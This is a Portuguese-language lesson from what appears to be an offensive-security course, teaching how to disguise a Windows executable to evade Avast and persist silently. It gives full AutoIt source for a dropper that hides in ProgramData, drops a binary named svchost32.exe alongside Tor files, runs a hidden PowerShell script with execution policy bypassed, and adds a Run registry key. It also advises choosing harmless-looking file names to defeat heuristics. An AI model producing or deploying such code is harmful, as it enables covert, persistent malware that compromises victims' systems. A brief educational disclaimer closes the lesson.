Aula 130 | Disfarçando .EXE

Aula 130 | Disfarçando .EXE

Neste aula, evoluímos a partir da Aula 129, onde aprendemos a empacotar um script PowerShell com o Tor em um único executável. Agora, nosso foco é enganar o Avast, evitando detecção mesmo com o uso de componentes conhecidos, e alcançar persistência silenciosa no sistema, sem levantar suspeitas.

Objetivo da Aula

  • Bypassar detecção por antivírus (especialmente o Avast)

  • Garantir execução automática no login sem privilégios elevados

  • Modularizar os componentes para reduzir score heurístico

  • Ensinar técnicas reais de evasão com fins educativos

Conceitos abordados

  1. Camadas de detecção de antivírus:

    • Assinatura (hash)

    • Heurística de comportamento, nome e localização

    • Reputação em nuvem

    • Machine Learning

  2. Importância da aparência:

    • Nomes como payload.ps1 ou reverse-shell.exe são altamente suspeitos

    • Nomes como taskdata.ps1 ou logservice.exe passam mais despercebidos

  3. Registro do Windows como vetor de persistência:

    • Utilização da chave:

      HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • Executa no login, sem necessidade de privilégios administrativos

    • Ideal para stealth e discrição em ambientes reais

Arquitetura da Solução

Montamos uma estrutura dividida em dois executáveis, com foco em modularidade e evasão heurística:

Estrutura dos arquivos

Código winlogsync.au3 (principal)

#NoTrayIcon

$dest = "C:\ProgramData\WinLogSync"
DirCreate($dest)

If Not FileExists($dest & "\winlogsync.exe") Then
    FileCopy(@ScriptFullPath, $dest & "\winlogsync.exe", 1)
    Run('"' & $dest & '\winlogsync.exe"', "", @SW_HIDE)
    Exit
EndIf

FileInstall("svchost32.exe", $dest & "\svchost32.exe", 1)
FileInstall("geoip", $dest & "\geoip", 1)
FileInstall("geoip6", $dest & "\geoip6", 1)
FileInstall("taskdata.ps1", $dest & "\taskdata.ps1", 1)
FileInstall("registrador.exe", $dest & "\registrador.exe", 1)

Run(@ComSpec & ' /c "' & $dest & '\svchost32.exe"', "", @SW_HIDE)
Sleep(10000)
Run(@ComSpec & ' /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "' & $dest & '\taskdata.ps1"', "", @SW_HIDE)
Run('"' & $dest & '\registrador.exe"', "", @SW_HIDE)

Exit


Código registrador.au3 (módulo de persistência)

#NoTrayIcon
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "WindowsLogSync", "REG_SZ", '"C:\ProgramData\WinLogSync\winlogsync.exe"')
Exit

Estratégias de Evasão Aplicadas

Elemento Técnica aplicada
Nomes de arquivos taskdata.ps1, logservice.exe
Localização C:\ProgramData\WinLogSync
Persistência Chave de execução automática no Run
Modularidade Persistência separada do payload
Execução oculta powershell -WindowStyle Hidden

✅ Resultado Final

  • Alta taxa de sucesso contra heurísticas do Avast

  • Executa Tor + PowerShell de forma oculta

  • Se copia automaticamente para pasta confiável

  • Cria persistência sem levantar alertas visuais

  • Modular: permite atualizar registrador.exe sem mexer no payload

Como compilar

  1. Compilar winlogsync.au3winlogsync.exe

  2. Compilar registrador.au3registrador.exe

  3. Embutir registrador.exe no primeiro com FileInstall

⚠️ Aviso ético

Todo o conteúdo apresentado nesta aula foi executado em laboratório isolado e tem fins estritamente educacionais. A intenção é ensinar segurança ofensiva e defensiva para profissionais que desejam compreender os mecanismos de proteção e prevenção em sistemas modernos.

Sugestões de Aulas

Aula 81 | Configurando o Tor Browser

Ver Aula

Aula 129 | Windows .EXE e C2

Ver Aula

Aula 108 | SQL Injection no .onion

Ver Aula